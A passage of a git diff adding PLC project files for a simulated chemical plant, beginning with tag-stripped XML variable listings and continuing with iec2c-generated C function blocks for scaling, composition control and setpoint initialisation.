+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c new file mode 100644 index 0000000..cb34703 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.c @@ -0,0 +1,1045 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + 